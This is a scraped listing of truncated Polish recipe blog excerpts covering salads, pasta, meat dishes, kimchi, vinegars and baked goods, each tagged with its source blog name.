Postanowiłam więc wyciągnąć makaron, tuńczyka i warzywa i tak oto powstała prosta i smaczna sałatka makaronowa z tuńczykiem. Składniki: 250 g makaronu świderki Arc Pol 2 puszki tuńczyka w sosie własnym 1 mała puszka kukurydzy 1 papryka żółta 3 korniszony garść pomidorków koktajlowych 2 łodygi selera naciowego 1 cebula 3 łyżki posiekanego koperku 3 łyżki majonezu 1 łyżka jogurtu naturalnego

Kuchnia w oparach
Zdrowa 5 minutowa sałatka z tuńczykiem 212

dnia. Czy u Was też tak świeci słońce. Ferie się zaczęły, a śnieg niestety znika w oczkach… Składniki: 1 puszka tuńczyka w kawałkach 180 g (można użyć w sosie własnym lub oleju) 3 cm zielonego ogórka 2 garście mieszanki sałat (u mnie wersja z marchewką) pół łyżki suszonej cebuli w płatkach 1 łyżka oleju lnianego Woj-len świeżo mielony

Słodkie okruszki
Arancini z szafranem i rozmarynem 189

kule to prawdziwy zabójca głodu i swoisty ekwiwalent kanapki. Najbardziej popularne są oczywiście  arancini al ragù z mięsnym nadzieniem , jednak gdy nie chce mi się przygotowywać dość czasochłonnego sosu, robię uproszczoną wersję z samego ryżu. Smak risotto podkręcam wtedy szafranem i rozmarynem, co wraz z solidną porcją parmezanu tworzy wręcz zniewalającą przekąskę. Bardziej zachęcać Was nie zamierzam. Obok mnie

Food Square
Chłopski garnek 169

dolewamy tyle wody ,żeby składniki zostały przykryte .Doprawiamy cukrem , solą i gotujemy pod przykryciem , na małym ogniu około 3 godzin . Co jakiś czas warto zamieszać . Danie jest gotowe jak sos samoczynnie lekko się zagęści , a fasola jest miękka . Danie najlepiej smakuje na drugi dzień , po odgrzaniu Smacznego !   Artykuł Chłopski garnek pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Lazania ze szpinakiem i mięsem 181

feta, mieszamy drewnianą łyżką aż składniki w miarę się nam połączą.  4. Na spodzie naczynia posmarowanego oliwą układamy 4 płaty makaronu, na to porcję usmażonego mięsa z sosem, oraz pomiędzy porcję ze szpinaku. Całość posypujemy startą mozzarellą, przykrywamy kolejnymi czterema płatami makaronu. Czynność z nałożeniem mięsa, szpinaku (tym razem już całego) powtarzamy, posypujemy serem i nakładamy kolejne cztery płaty

kruche babeczki
Filet z Kurczaka w Sosie Chrzanowym 120

Delikatny pyszny kurczak, inny niż codzienne pomysły na kurczaka, delikatny sos chrzanowy - Po prostu niebo w gębie ! SKŁADNIKI: 1 duży podwójny filet z kurczaka 2-3 łyżki oleju 2 duże cebule 2 ząbki czosnku 5 łyżeczek chrzanu tartego firmy Orzech 1/2 łyżeczki kurkumy sól pieprz 1/2 szkl śmietany 30% 130g serka mascarpone 1 i 1/2 szkl zimnej wody 1 łyżka

Dziś Ja gotuje
Murzynek z bitą śmietaną 161

Biszkopt : Wodę, cukry, masło i kakao umieścić w żaroodpornym naczyniu, doprowadzić do wrzenia. Wystudzić. Odlewamy pół szklanki, aby polać nią wierzch ciasta. Białka ubić na sztywną pianę. Do kakaowego sosu dodajemy pojedynczo żółtka oraz przesianą mąkę z proszkiem do pieczenia. Na koniec dodajemy ubite białka, mieszamy delikatnie. Przelewamy do kwadratowej formy (ok 25cm) pieczemy 50 minut

Słodki Zakątek
Smaczny obiad z dorsza 177

lekko się dzieli i delikatnie błyszczy. Tak usmażona ryba nie tylko dorsz jest najsmaczniejsza. Jakie dodatki lubicie do smażonego dorsza? Często przyrządzam dorsza z grzybami . Czasami podaję go z sosem aioli . Lubię dorsza z risotto . Dzisiaj proponuję tradycyjne puree ziemniaczane, zrumienione kapary i karmelizowaną marchewkę. Smaczny obiad z ryby. Smażony dorsz 4 porcje Składniki: 600 g fileta z dorsza sól

codojedzenia
Krokiety z kaszy gryczanej z kurczakiem 281

wyrobić. Formować krokiety, panierować w jajku i bułce i smażyć na złoto ze wszystkich stron. Zamiast tradycyjnej panierki można jedynie obtoczyć w bułce tartej.  Podawać z barszczykiem czerwonym, sosem grzybowym lub leczo.  Smacznego

Ze smakiem bez glutenu
Ramen 163

marchewki, obrane przekrojone na pół 4 ząbki czosnku 5 cm kawałek imbiru, pokrojony w plastry biała część pora 2 łodygi selera naciowego 2 szalotki 4 litry wody 150 ml sosu sojowego 6 suszonych grzybów shitake kawałek wodorostów kombu o wymiarach 10x20 cm (opcjonalnie) Dodatki: makaron ramen jajka ugotowane na twardo zielona część dymki ugotowane grzyby shitake wodorosty wakame plasterki papryczki

Smakowity Blog Kulinarny
Sałatka brokułowa z ryżem jajkiem i kukurydzą 265

Składniki: 1 brokuł 6 łyżek kukurydzy konserwowej 3 większe ogórki konserwowe 2 jajka ugotowane na twardo 4 łyżki ryżu (sypki) Do smaku: sól cukier pieprz kolorowy przyprawa Vegeta Natur Sos: 2 łyżki majonezu 1 łyżka jogurtu naturalnego typ grecki 0,5 łyżeczki Vegeta Natur Przygotowanie: Brokuł podzielić na mniejsze różyczki zalać wodą wsypać łyżeczkę Vegety Natur i ugotować al dente

Ala piecze i gotuje
Farfalle z kurczakiem, szpinakiem i pomidorami w winnym sosie 132

mieszamy. Zdejmujemy z ognia i wrzucamy przekrojone na pół pomidorki koktajlowe i listki świeżej bazylii. Smaczne to było     Artykuł Farfalle z kurczakiem, szpinakiem i pomidorami w winnym sosie pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Kotlety ziemniaczane w waflu 164

Szybkie i łatwe do zrobienia kotleciki ziemniaczane w waflu. Super smakują z sosem pieczarkowym i surówką, ale  moje siostrzenice uwielbiają te kotleciki po prostu z ketchupem. Spróbujcie w jakiej wersji Wam posmakują i podzielcie się komentarzem 😊 Zapraszam kochani! Składniki: ziemniaki 1 kg, cebula 1 szt, wafel 2 płaty, koperek świeży lub mrożony posiekany 2 łyżki, sól i pieprz

kulinarne odsłony pati
Villa Caviciana Lorenzo 2015 White Sparking, 11,5%, Włochy 174

niezobowiązujące, dobrej jakości. Nadaje się do wypicia od razu, jednak nie widzę w nim potencjału do starzenia. Do czego: aperitiff, lekkie przekąski, przegrzebki, grillowane krewetki, białe ryby w lekkich sosach na bazie wina i masła

Kate's Kitchen
Roladki z indyka z kiełkami brokuła 195

drobno pokrojonego brokuła. Dusimy pod przykryciem 30-40 minut (w zależności od grubości i wielkości rolad) Podajemy z pieczonymi ziemniakami przekrojone na pół. Można polać powstałym podczas suszenia sosem. #durszlakXvegetanatur #vegetanatur #inspirowanenatura

Bon appetit mon amie
Keks mięsny 284

mięsną z dodatkiem kolorowych warzyw też można nazwać keksem. To keks wytrawny. Jest idealny - na zimno, na kanapki lub jako element szwedzkiego stołu, albo na gorąco z dodatkiem ulubionego sosu. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Jednogarnkowy Stroganoff z boczniaków 186

przepiękne. Szukałem jakiś ciekawych przepisów i znalazłem hit anglojęzycznych stron kulinarnych, jednogarnkowy Stroganoff. Jest on geograficznie specyficzny, to znaczy, inaczej niż u nas, podaje się go z makaronem oraz sos jest raczej musztardowy, niż pomidorowy. Jak to mówi stare przysłowie Co kraj to obyczaj, co rodzina to zwyczaj. Co prawda danie pochodzi od nazwiska Aleksandra Stroganowa, gościa, który brał

Kryzysowa Książka Kucharska
Szybki i pyszny filet z kurczaka z patelni 213

żadnej roboty. Nie ma potem masy rzeczy do mycia i pół uwalonej kuchni. A cała rodzinka zachwycona. U nas filet z kurczaka był z warzywami pieczonymi i sosem czosnkowym, ale świetny będzie również z ryżem czy zwykłymi gotowanymi ziemniakami. Filet możecie doprawić w dowolny sposób, takimi przyprawami jakie lubicie. Ja użyłam soli, pieprzu, ziół prowansalskich i czosnku na mięsko oraz

Mieszam w Garnku
Kurczak z marchewką, groszkiem i ryżem 147

wywaru. Przy pomocy rózgi energicznie mieszamy aby rozbić wszystkie grudki. Gdy płyn będzie jednolity przelewamy go z powrotem do garnka. W miseczce mieszamy śmietanę z 1 łyżką wazową gorącego sosu i wlewamy z powrotem do potrawki. Dodajemy sok z cytryny oraz doprawiamy do smaku solą i pieprzem. Ryż gotujemy na sypko i wrzucamy do potrawki. Wszystko razem mieszamy ze sobą

Qchnia po prostu
Ciasto na jogurcie czyli pierogi i pyszne nadzienie 153

gorący tłuszcz. Olej będzie pryskał przy kontakcie z wodą, więc uważaj żeby się nie oparzyć. Po usmażeniu pierogów odkładałam je na ręcznik papierowy aby pozbyć się nadmiaru oleju. Sos jogurt naturalny ząbek czosnku pieprz odrobina soli zielona pietruszka Wszystko razem wymieszać, doprawić solą i pieprzem.   Ciasto na jogurcie czyli pierogi i pyszne nadzienie

Kuchnia na wzgórzu
Rolada jajeczna z mozarellą i tuńczykiem 170

przyprawy wg smaku ( u mnie do żółtek – sól, do białek- kurkuma, czubryca czerwona i pieprz) – dodatki wg smaku ( u mnie 60g twardej mozarelli, 60g tuńczyka w sosie własnym) Białka oddzielić od żółtek. Do żółtek dodać mleko, przyprawić wg smaku, rozbełtać, białka również przyprawić wg smaku i rozbełtać. Nieprzywierającą patelnie mocno rozgrzać, posmarować kapką oliwy, wylać żółtka i rozprowadzić

Smaki Armine
Sałatka z pieczonego buraka z tuńczykiem 206

połączyłam buraczki z tuńczykiem, serem feta i porem, wyszło pysznie. Spróbujcie Składniki: – 3 buraki średniej wielkości (uprzednio upieczone i obrane) – 1 por – 1 puszka tuńczyka w sosie własnym – 150g sera feta – 4 łyżki oleju z awokado (lub innego ulubionego oleju) – 4 łyżki octu balsamicznego – sól i pieprz wg smaku Buraczki (uprzednio upieczone, obrane

Smaki Armine
frytki z piekarnika 144

delikatnie mieszamy. Przekładamy na dużą blachę wyłożoną papierem do pieczenia. Pieczemy w nagrzanym do 200 st. C piekarniku, aż będą rumiane, przez ok. 15-20 min. Podajemy z ulubionymi sosami

Domowy Smak Jedzenia
Pieczone faszerowane bataty 127

zastąp go pysznym serem cheddar, będzie także pysznie. Zachęcam Was do odwiedzenia podobnych przepisów gdzie królują pieczone warzywa: – w jednym miejscu wszystkie moje najlepsze przepisy na kolację – bataty z sosem awokado – kurczak z batatami – carpaccio z buraka – sałatka z żółtym burakiem – sałatka z kolorowych buraczków – frytki z batatów – chipsy z batatów – zbiór przepisów FIT i odpowiedź na pytanie

nietylkopasta.pl
Sałatka z kuskusem i tuńczykiem wg siostry Anastazji 182

smaczne sałatki:) 300 g kuskusu 3 marchewki 5 jajek 1 słoiczek tuńczyka w oleju (ja kupuję w lidlu), lub 2 puszki tuńczyka (w tym wypadku lepszy będzie ten w sosie własnym) pęczek dymki majonez sól, pieprz Kuskus przygotowujemy wg instrukcji zamieszczonych na opakowaniu (ja zalewam bulionem). Oczyszczone marchewki gotujemy na półmiękko, odcedzamy. Obieramy ze skórki, po czym kroimy w drobną

Smaki Na Talerzu
Falafel z ciecierzycy 143

Falafel, czyli kotleciki z ciecierzycy popularne w krajach arabskich. Bardzo dobrze smakują z sosem, ale dla mnie świetnie sprawdzają się jako fajna alternatywa obiadowa podana zamiast mięsa. Z racji tego, że ciecierzycy się tu nie gotuje, trzeba je dobrze wysmażyć, aby kotleciki w środku nie były surowe. Jeśli zdecydujecie się na falafel w formie kulki, to tym bardziej należy mieć

Z Hrabiną w kuchni
Krążki cebulowe(onion rings) 195

Krążki cebulowe w cieście to bardzo popularna przekąska w Ameryce. Podawane mogą być z rożnymi sosami, mogą być dodatkiem do różnych mięs ale doskonale smakują same. Proste i łatwe w przygotowaniu. Składniki 3 cebule 250 ml gazowanej wody tarta bułka lub pokruszone płatki kukurydziane 1 łyżeczka soli 1/2 łyżeczki mielonej słodkiej papryki 1 łyżeczka … Czytaj dalej Krążki cebulowe(onion

gotuj ze mną
Zapiekane naleśniki z lemon curd, śmietanką kokosową i chipsami z kokosa. Śniadanie jak na egzotycznych wyspach! 160

jest petarda!!! Przepyszne zapiekane cieniutkie naleśniki, nadziane idealnym kremem lemon curd, zatopione w sosie ze śmietanki kokosowej pod chrupiącą chmurą z chipsów kokosowym, zapiekane na grubych plastrach bananów. To śniadanie wymiata, za to śniadanie, które również może być obiadem będą Ci wdzięczni wszyscy domownicy!  Idealnie cienkie naleśniki to podstawa, słodko- kwaśny lemon curd, słodycz rozprażonych bananów i chrupkość kokosa

SMYKWKUCHNI
Jak oszczędzić na codziennych zakupach spożywczych? Rady. 202

najlepiej z nimi przygotować. Zajrzyj do lodówki może masz w niej jakieś np. śmietanę, kawałek szynki. Połącz składniki i stwórz pyszne danie np. makaron z warzywami i szynką w sosie śmietanowym. Teraz wiesz, że wystarczy dokupić wyłącznie świeże warzywa. Wykorzystuj posiadane składniki, a tym samym zaoszczędzisz . Pamiętaj, że w kuchni ogranicza nas tylko wyobraźnia. Można stworzyć naprawdę coś pysznego

Słodkie okruszki
Prażonki ziemniaczane z patelni z groszkiem 161

prościutkie i smaczne danie . Czasami robię je jako dodatek do mięsa lub serwuję latem z kubkiem zimnej maślanki . Dzieciaki kochają tą potrawę , choć zawsze najpierw zabijają ja ketchupem lub sosem tzatzyki Przygotowanie nie jest pracochłonne , a efekt znakomity . Polecam , tym bardziej że wizualnie także zachęca do konsumpcji . Składniki na 4 osoby : 5-6 ziemniaków średniej wielkości 1 cebula 1/2 szklanki

Ogrodnik w podróży
PLACKI ZIEMNIACZANE: wyjątkowy przepis, jak zrobić 535

stron. Usmażone placki ziemniaczane osączyć z nadmiaru tłuszczu na papierowym ręczniku. Gotowe placki ziemniaczane podajemy posypane cukrem i polane śmietaną. Świetnie smakują z gulaszem z karkówki albo sosem pieczarkowym . Smacznego :) Domowe, najlepsze placki ziemniaczane

Moja Książka Kucharska
Południowy, aromatyczny pulled pork 150

Wolno pieczone mięso, z dodatkiem aromatycznych, intensywnych przypraw jest najlepszym co mogliście przygotować na obiad dla siebie i swojej rodziny. Taka rwana wieprzowina w brązowym, smolistym sosie, będzie idealnym dodatkiem do tortilli, kanapki, czy chociażby sałatki. A dwa macie w ten sposób obiad z głowy na 2 dni, a nawet dłużej. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Muffiny szpinakowe z serem i pomidorkami 224

idealny posiłek nie tylko do szkoły czy pracy, bo możemy zabrać je wszędzie, ale także mogą stanowić posiłek główny np. śniadanie lub kolacje. Możemy podawać je z ulubionymi sosami np. pomidorowym albo czosnkowym, jogurtowym.          PRZEPIS NA OKOŁO 12 MUFFINEK 🌿 mąka pszenna 500 g. 🌿 drożdże świeże 25 g.  🌿 margaryna rozpuszczona 100 g.  🌿 letnie

Kuchnia Paulettes
Kluski śląskie. 226

muszą być całkowicie zimne, aby zagnieść ciasto. Jeśli będę ciepłe, trzeba dokładać o wiele więcej skrobi niż w przepisie i nie wychodzą smaczne. Kluski śląskie podawać na ciepło, polane sosem mięsnym, grzybowym lub z masłem klarowanym i  smażoną na złoto cebulką. Składniki: 1 kg ziemniaków* 1 duże jajko sól (ok. 1 płaskiej łyżeczki) mąka ziemniaczana Przygotowanie:  Ziemniaki obrać

Codziennik Kuchenny
Rosół (bulion) - najzdrowsza zupa świata 182

podajemy z makaronem ( przepis tutaj) , lanym ciastem ( przepis tu ), lub kluseczkami z kaszy manny ( przepis tutaj ). Domowy wywar - bulion i rosół to doskonała baza do przygotowania innych zup i sosów

Gotuj zdrowo!Guten Appetit!
Rogaliki wytrawne (serowe) z ciasta francuskiego 208

pieczenia lub matą silikonową, posmarować rozkłóconym jajkiem i posypać ulubionymi ziarnami. Piec w piekarniku nagrzanym do 180 stopni przez około 20-25 minut. Gotowe rogaliki podawać z ulubionymi sosami. Smacznego Artykuł Rogaliki wytrawne (serowe) z ciasta francuskiego pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
GULASZ WIEPRZOWY Z PAPRYKĄ 197

posiekaną cebulę i dusić około 15 minut na silnym ogniu. Następnie dodać liść laurowy i trochę wywaru i dusić karkówkę do miękkości, pod przykryciem i na wolnym ogniu, uzupełniając sos wywarem. Pod koniec, do gulaszu dodać mieloną paprykę i koncentrat pomidorowy. Można jeszcze doprawić do smaku. Gotowy gulasz wieprzowy z papryką podawać z makaronem, kaszą, kluskami lub kopytkami . Do gulaszu

Moja Książka Kucharska
Surówka Colesław 177

szatkowana, surowa kapusta głowiasta. Nazwa pochodzi od niderlandzkiego słowa koolsla, oznaczającego sałatkę kapuścianą. W zależności od kraju czy upodobań dodawane są rozmaite dodatki jak: marchew, jabłko czy ananas. Jako sos używany bywa majonez lub maślanka, musztarda, czy ocet. Dodaje się również różne przyprawy i zioła. Od upodobań również zależy przygotowanie jak i proporcje składników (np. grubość szatki). Historia sałatki coleslaw

KUCHNIA POLSKA
Pieczeń z jajek z papryką 223

zawarta nadaje ciekawego wyglądu. Jest to idealna  potrawa na śniadanie, obiad jak i kolacje. Można podawać go na wiele sposobów, z różnymi dodatkami np. z sosem, majonezem lub na kanapce. Taki pasztet zrobi furorę podczas świąt Wielkanocnych, gdzie głównym motywem są właśnie jajka.  PRZEPIS NA 4 PIECZENIE W KOKILKACH 🌿 jaja ugotowane na twardo 8 szt.  🌿 jajko

Kuchnia Paulettes
3 przepisy na rozgrzewające koktajle + recenzja blendera NOVEEN 180

ostatnim, a konkretnie na blenderze NOVEEN Sport Mix & Fit SB220 Amarant . Blender tego typu najbardziej sprawdzi się w przygotowaniu koktajli, smoothie, często blenduję w nim również składniki na sosy lub zupy kremy. Jakie widzę zalety w blenderze firmy NOVEEN? Poniżej możecie przeczytać więcej o urządzeniu oraz obejrzeć zdjęcia. Sport Mix & Fit to linia produktów NOVEEN dla ludzi aktywnych

Via Gusto
Sałatka brokułowa z sosem czosnkowym 259

ugotowaniu brokuł wyjąć i przelać zimną wodą.  Jogurt, majonez, obrany czosnek, koperek zmiksować w blenderze. Doprawić do smaku solą i pieprzem. Brokuł ułożyć na półmisku polać obficie sosem czosnkowym. Na wierzchu ułożyć fetę pokrojoną w kostkę oraz posypać podprażonymi na suchej patelni pestkami. Najlepiej podawać bezpośrednio po przygotowaniu

Ala piecze i gotuje
Poniedziałek: Kurczak pieczony po prowansalsku 193

karmelizują się w trakcie pieczenia w wysokiej temperaturze. Kurczaka trzeba piec w mocno rozgrzanym piekarniku. Nie dodawajcie do niego za dużo wina – udka nie powinny gotować się w sosie, ale piec na dobrze rozgrzanym rondlu. Przepis pochodzi z cookingnyt.com Składniki: 2 nogi z kurczaka 3 łyżki oleju roślinnego 6 ząbków czosnku 4-6 szalotek 2 łyżki ziół prowansalskich

Niedzielny kucharz
Lekka sałatka z cytrusów 216

sokiem z pomarańczy i cytryny, miodem, świeżą miętą, solą himalajską oraz świeżo mielonym pieprzem (można użyć w tym celu słoiczka). Gotową sałatkę podawać skropioną tuż przed podaniem przygotowanym sosem. Artykuł Lekka sałatka z cytrusów pochodzi z serwisu FitSweet

Fitsweet.me
Ziemniaczki zapiekane z boczkiem, brokułem, suszonym pomidorem i mozarellą 150

przepis na pyszne i szybkie danie, u nas było na obiad. Ziemniaczki zapiekane z boczkiem, brokułem, suszonym pomidorem i mozzarellą. Wszystko posypane natka pietruszki. Można podać z ulubionym sosem, my zjedliśmy bez :-) Polecam i miłego dnia Wam życzę :-) Składniki dla 3 osób: 6-8 średnich ziemniaków 1/2 brokuła kilka suszonych pomidorów 250 g boczku kulki mozzarelli bądź starta na tarce

kruche babeczki
Schab w sosie paprykowym 157

Może tym razem "mięso w sosiku" jak to mówi moja córka. Dlatego tym razem sięgnęłam na półkę po puszkę z wędzoną papryką i postanowiłam zrobić schab w sosie pieczeniowym, ale paprykowym. Wyszedł, pyszny, konkretny obiad. Polecam. Wkrótce będzie powtórka. Czytaj więcej

Bernika - moj kulinarny pamietnik
Surówka z czerwonej kapusty, jabłka i suszonych śliwek 153

jabłko trzemy na tarce jarzynowej. Śliwki kroimy na mniejsze kawałki. Majonez łączymy z miodem oraz octem winnym. Doprawiamy solą oraz pieprzem. Wszystkie składniki surówki łączymy ze sobą, mieszamy z sosem majonezowym

Smaki Na Talerzu
Szybki Makaron Z Sosem Śmietankowo Pomidorowym 162

gotowania makaronu. Całość doprawiamy, a następnie wrzucamy makaron i mieszamy całość. W  trakcie mieszania makaronu na patelni, dodaje 2 łyżki startego, twardego sera. 4. Gotowy makaron z sosem wykładam na talerze, a po wierzchu posypuje resztą startego sera. Smacznego

Gotowanie...to proste !
Kurczak w ostrym sosie (szybki i pyszny) 150

Kolejna mięsna odsłona, tym razem na talerzu wylądował kurczak, którego przyrządzicie zaledwie w 30 minut. Mięso jest soczyste i aromatyczne  podane w ostrym cebulowo-imbirowym sosie. Dla zwolenników ostrych smaków to świetna propozycja, natomiast jeśli wolicie łagodniejsze klimaty można zrezygnować z dodatku chili. Zapraszam do próbowania i testowania

Z Hrabiną w kuchni
Ruloniki z szynki z pastą jajeczną 221

konserwowe mały pęczek szczypiorku sól, pieprz, majonez, musztarda Ugotowane jaja obrać ze skorupek i zetrzeć na tarce jarzynówce. Ogórki również zetrzeć na jarzynówce. Szczypiorek drobno posiekać. Całość wymieszać. Zrobić sos. Wymieszać 2 łyżki majonezu, 1/2 łyżeczki musztardy oraz szczyptę pieprzu. Dodać do jaj i wymieszać całość. Można ewentualnie dosolić jeśli całość będzie nazbyt mdła ale ostrożnie ponieważ majonez jest już

Ze smakiem bez glutenu
Krokiety z kaszy gryczanej z kapustą i grzybami 176

jednolite ciasto. Formować niewielkie krokiety - z masy powinno wyjść ok 10 sztuk.  Panierować w jajku i bułce tartej i smażyć na złoto ze wszystkich stron. Podawać z barszczykiem, sosem lub z leczo. Smacznego

Ze smakiem bez glutenu
Jajka w skorupce ( po szkocku ) 204

szkocku to jajka ugotowane na twardo owinięte farszem z mięsa mielonego. Są w musztardowej, złocistej i aromatycznej skorupce. Idealne na ciepło jak i na zimno. Najlepiej smakują z ulubionym sosem.  PRZEPIS 🌿 jaja ugotowane na twardo 6 szt. ( rozm. S ) 🌿 mięso mielone 500 g.  🌿 żółtko + 4 łyżki mleka 🌿 musztarda sarepska 2 łyżki  🌿 sól 1 łyżeczka 🌿 pieprz 1/2 łyżeczki

Kuchnia Paulettes
JAK WYKORZYSTAĆ SUCHE SKÓRKI Z CHLEBA? Pieczone chrupki ze skórki chleba 192

SKÓRKI Z CHLEBA?  Sesja (depresja) mnie nie pokonała i jest...  Grzanki - to standard na wykorzystanie skórki chleba... Ale miałam inny pomysł... CHRUPKI CHLEBOWE 😃 Mega ziołowe, maczane w sosie czosnkowym... Yummy 😃 Jeżeli zostanie Ci suchy chleb - nie wyrzucaj go, wykorzystaj!   Składniki :  Suche skórki z chleba  1/3 szkl./kubka mleka  Ulubione zioła, przyprawy i sól

Czarnawisienka
Ozorki w sosie chrzanowym 153

chcecie zachwycić swoją rodzinę? Jeśli tak, to polecam na obiad ozorki w sosie chrzanowym. Pyszne danie podane z ziemniakami lub kaszą gryczaną będzie znakomitą odskocznią od naszych schabowych i mielonych. Potrzebujemy

Tylko pysznie
Wegańska sałatka z pieczonego kalafiora 193

możemy wykorzystać. Widzicie sami zatem, iż weganie zwłaszcza ci początkujący nie mają łatwego zadania. Moja dzisiejsza propozycja dla Was to sałatka wegańska z kalafiora. Nie dodałam do niej żadnego sosu, smak podkreśliłam miętą. Dodatkowo orzeszki nerkowca i cebula skomplementowały fajnie smak pieczonego kalafiora. Jeśli zdecydujecie się na wypróbowanie tego przepisu, zachęcam Was do dzielenia się zdjęciami w zakładce Komentarz. Zapraszam

mecooks
z awokado i kurczakiem czarny ryz 125

odstawić. P osiekany czosnek, sól,pieprz,sok z cytryny i cukier dokładnie wymieszać .Obrane awokado pokroić w kostkę. Na ugotowany ryż ,wyłożyć kostki awokado i wszystko polać powstałym sosem. Posypać ziarnami . W drugiej wersji z z pieczonymi kawałkami kurczaka

mojej kuchni
żeberka z czarnym ryżem 138

miękkości(około 30-40 minut w szczelnie przykrytym rondlu) .:)) ps...pod koniec gotowania dodaje 2 kromki razowego chleba ,lub jedną bułkę małą razową i w ten sposób zagęszczam powstały sos ,nie używam mąki

mojej kuchni
suflet z pieczarek i piersi kurczaka 141

wierz wyłożyć ubita pianę z majonezem i mąkami.  Piec około 45-50 minut w temperaturze 180 ° C .  Po upieczeniu pokroić na kwadraty,podawać z surówka ,keczupem,sosem śmietanowym. Smakowite na ciepło i zimno.. Można jako drugie śniadanie do pracy,do szkoły,co kto woli,obiad ,śniadanie ,kolacja.:)) foto z tel. przyprawa do kurczaka Zmielić w młynku

mojej kuchni
zupa-barszcz czerwony na wywarze kolagenowym 117

kurczaka wyjąć ,całość przecedzić i ostudzić .Można przechowywać gęstą galaretkę bulionową z dużą ilością kolagenu w woreczkach,pojemniczkach .Taka galaretka potem gdy nie mamy czasu przydaje się do sosu ,lub do ugotowania zupy jak dzisiaj u mnie .Do gotowego bulionu dodać włoszczyznę i zagotować do miękkich warzyw. Do części takiego wywaru dolać gotowy zakwas buraczany i zupa gotowa. reszta wywaru

mojej kuchni
Kim chi z bialej rzepy 210

białej rzepy 1 łyżka soli 1 łyżka cukru 70ml wody 1 łyżka mąki z ryżu szczypta soli 4 cm imbiru,pół pęczka szczypiorku 2 łyżki gochugaru 2 łyżki sosu sojowego 3 ząbki czosnku Wykonanie   tutaj   Rzepę pokroić w gruba kostkę ,przełożyć do miski ,zasypać sola i cukrem,wymieszać ,odstawić na około 45 - 60 minut. W rondelku zagotować mąkę

mojej kuchni
kim chi koreanska klasyczna 203

łyżeczki startego imbiru-obranego 3-4 cebule obrane pokrojone w grubą kostkę 1 szkl. kleiku ryżowego ,lub rozgotowany ryż,lub zamiennie użyć jabłko,lub gruszkę 1/4-1/2  szklanki sosu sojowego opcjonalnie 1/4 szkl.soli na 1 kg kapusty rozrobiona z wodą do zalania kapusty    warsztaty kulinarne  Wykonanie  Kapustę przekroić wzdłuż na cztery części, następnie każdą ćwiartkę pokroić

mojej kuchni
falszywy kugel-zapiekanka 154

regionów Polski. W centralnej Polsce (w okolicach Ostrowi Mazowieckiej) na zapiekane ziemniaki z dodatkami mówiono kugiel. Nie jest to typowa babka ziemniaczana, raczej potrawa jednogarnkowa - bardzo smaczna i sycąca. Sos dużo czosnku president twaróg garść sezamu mieszanego Wykonanie w mikserze zmiksować czosnek z twarogiem,dodać sezam i opcjonalnie zielony szczypiorek:)) ps .u mnie na wierzchu plastry sera żółtego

mojej kuchni
gulasz z batatów i miechunki peruwiańskiej -- goulash with sweet potatoes and Peruvian bellows 164

rodzynki, albo dodawać do batoników, muesli, lodów, ciasteczek, czy deserów. Świetnie smakują, dobrze zaspokajają głód, więc stanowią znakomitą alternatywę dla niezdrowych, słonych chipsów. Warto nimi wzbogacić również smak sosów . Taki dodatek doskonale współgra ze słodki potrawami. Można go podawać również do mięs. Nie warto odmawiać sobie miechunki w każdej postaci, bo jej spożywanie to prawdziwa przyjemność dla zdrowia ! Składniki

mojej kuchni
ocet z płatków roży 148

codziennie mieszając. Po tym czasie przecedzić na sitku ,zlać do butelki . Ocet traci barwę w świetle , więc najlepiej przechowywać go w ciemnym miejscu. Może być używany w sosach sałatkowych i wiele innych zastosowań, gdzie potrzebne ocet. Ocet różany na swędzenie, ugryzienia, otarcia, drobne rany i tym podobne. Ocet z róży ma ma działanie tonizujące na naczyniach krwionośnych

mojej kuchni
LegendarnY z ogrodka, przetrwał dżumę : ocet czterech złodziei 156

szklanki octu, a na górze przefiltrowaną wodę. Spryskaj skórę, ubrania itp., Aby odstraszać brzydkie robale. Przyprawa - u żywaj jako przyprawy d o duszonych mięs i warzyw lub przygotuj sos winegret na sałatki. we ź łyżeczkę kilka razy dziennie, aby zapobiec przeziębieniom / grypie. "Najbardziej znan ą i interesującą historią uzdrowienia wynikającą z wielkiej plagi Czarnej Śmierci była historia czterech złodziei

mojej kuchni
makaron domowy 185

odstawić na kolejne 30 minut. Teraz walkowac ciasto na potrzebna grubość i szerokość. Gotowa ć, w osolonej wodzie przez zaledwie kilka minut, w zależności od grubości. . Podawać z ulubionym sosem. Cieszyć się!! Z tego przepisu mo żna zrobic tagliatelle , szerokie Pappardelle , lasagne lub makaron tortellini czy ravioli. Gramatura podstawowa to o 100 gr (oko ło 2/3 filiżanki) z mąki

mojej kuchni
barszcz czerwony po mojemu 171

sposób ocet balsamiczny nabiera niepowtarzalnego zapachu, koloru i smaku. Młody ocet balsamiczny o wodnistej konsystencji doskonale nadaje się do przyprawiania sałat, marynowania mięs i ryb, jako baza sosu vinegrette. Produkt o średnim wieku dojrzewania jest idealny (poza przyprawianiem warzyw) do podniesienia walorów smakowych risotto, mięs, ryb, zup-kremów oraz sałatek owocowych. Ocet balsamiczny gęsty, czyli taki, który ma więcej niż

mojej kuchni
Domowy Burger! 170

uznania składamy burgera w jedną całość. Ja zwykle na spód daję sałatę lub rukolę, później kotlet, plaster żółtego sera oraz na wierzch pomidor i cebulka. Całość polewam keczupem lub sosem do burgerów (dostępne np w biedronce). Czas przygotowania: 15 min Czas gotowania: 15 min Łącznie: 30 min Danie dla 2-4 osób. Zdjęcia

Blog kulinarny S9.PL
Placki ziemniaczane z blendera! 170

stron. Ja do tego celu używam małej chochli. Placki warto po usmażeniu położyć na papierowy ręcznik tak aby pozbyć się trochę zbędnego tłuszczu. Placki podajemy ze śmietaną lub jakimś sosem Smacznego! Czas przygotowania: 15 min Czas gotowania: 15 min Łącznie: 30 min Danie dla 2-4 osób. Zdjęcia

Blog kulinarny S9.PL
WĄTRÓBKA DROBIOWA Z SERCAMI w sosie z pieczarkami 151

Dzisiaj mam dla Was przepis na przepyszną wątróbkę z sercami w sosie z pieczarkami. SKŁADNIKI: 👌1 cebula 👌1 duża puszka pieczarek 👌mąka do obtaczania 👌1 ząbek czosnku 👌sól wg.uznania 👌1/4 łyzeczki pieprzu 👌1 kostka bulionowa 👌750 gr. drobiowej wątróbki z sercami 👌2 łyzki smietanykremówki 30% WYKONANIE

Rita creative
SERNIK czekoladowy 142

